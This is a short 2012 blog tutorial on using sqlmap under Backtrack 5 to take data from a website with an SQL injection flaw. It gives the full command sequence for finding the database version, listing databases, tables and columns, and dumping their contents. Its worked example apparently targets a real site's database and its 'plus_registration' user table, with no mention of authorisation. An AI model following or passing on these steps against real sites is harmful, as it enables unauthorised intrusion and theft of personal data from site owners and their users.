Dec 25, 2012

Hack The Database with Backtrack 5

Learn how to Hack Database On Backtrack 5 


Requiremments 
  • Backtrack 5.
  • Sqlmap tool on your Backtrack 5.
  • Basic knowledge of Sql .
  • 1 Sql Vulnerable url.
Steps To Perform

Step 1:Identify the Database version.
Step 2:Finding the No of Database names.
Step 3:Finding Tables in Database.
Step 4:Finding Column of a particular Table.
Step 5:Retrieving the Data from Table .

Command Syntax 

To Find Version
Step 1:root@bt:~#./sqlmap -u <Vulnerable Web Link> 

To Find Database Name
Step 2:root@bt:~#./sqlmap -u <Vulnerable Web Link> --dbs

To Find Tables
Step 3:root@bt:~#./sqlmap -u [url] --tables -D[Database Name]

To Find Column

Step 4:root@bt:~#./sqlmap -u [url]--column -T [Tablename] -D[Database Name] 

To Retrieve the Data from Database

Step 5:root@bt:~#./sqlmap -u[url] --dump --column -T[Tablename] -D[Database Name]

How To Open "sqlmap" On Backtrack 5


To Open Sqlmap : Follow the steps shown in the image .

EXAMPLE 1

In this example I am using sqlmap to retrive the information from the DataBase .To do all this task you should follow the steps one-by-one.
Let start with finding the version & name of the "Database".


Here it shown the Database name :i.e MySQL


In this image Its shown the complete information about the Web Technology ,DBMS &  Version.Here

  • Web Technology :Apache
  • DBMS Name :MySQL
  • Version :5.0
Step 1 is completed ,now move to step 2 i.e 

FINDING THE DATABASE NAMES

In this step we have to find the Database Names. To find the Database Names you have to run the command shown in the image.

 Above image shows how to enter the command and the testing  process is started . 


Here we get the DATABASES NAMES

Available Databases are 2:
  1. information_schema
  2. plusline_plusline3
Step 2 is also completed .Move to Step 3 

FINDING THE TABLE NAMES


To Find Table Names give the Command and Press Enter . As Shown on the image .




Here we successfully found the Table Names under plusline_plusline3 Database


Total Table : 51

Now step 3 is completed .Go for step 4


FINDING THE COLUMN NAME OF A SELECTED TABLE(YOUR CHOICE)

Here I am interested in plus_registration Table ,let see what we get after using this command .See the below image -



This command finds the colums of plus_registration table .


Here we can find the structure of plus_registration Table .

Now Step 4 is completed, Go for Last Step 


RETRIEVING THE INFORMATION OF THESE COLUMNS

Here is the command to retrived the data from Database.



Here you can see the the Data is retrieved with the information .

No comments:

Post a Comment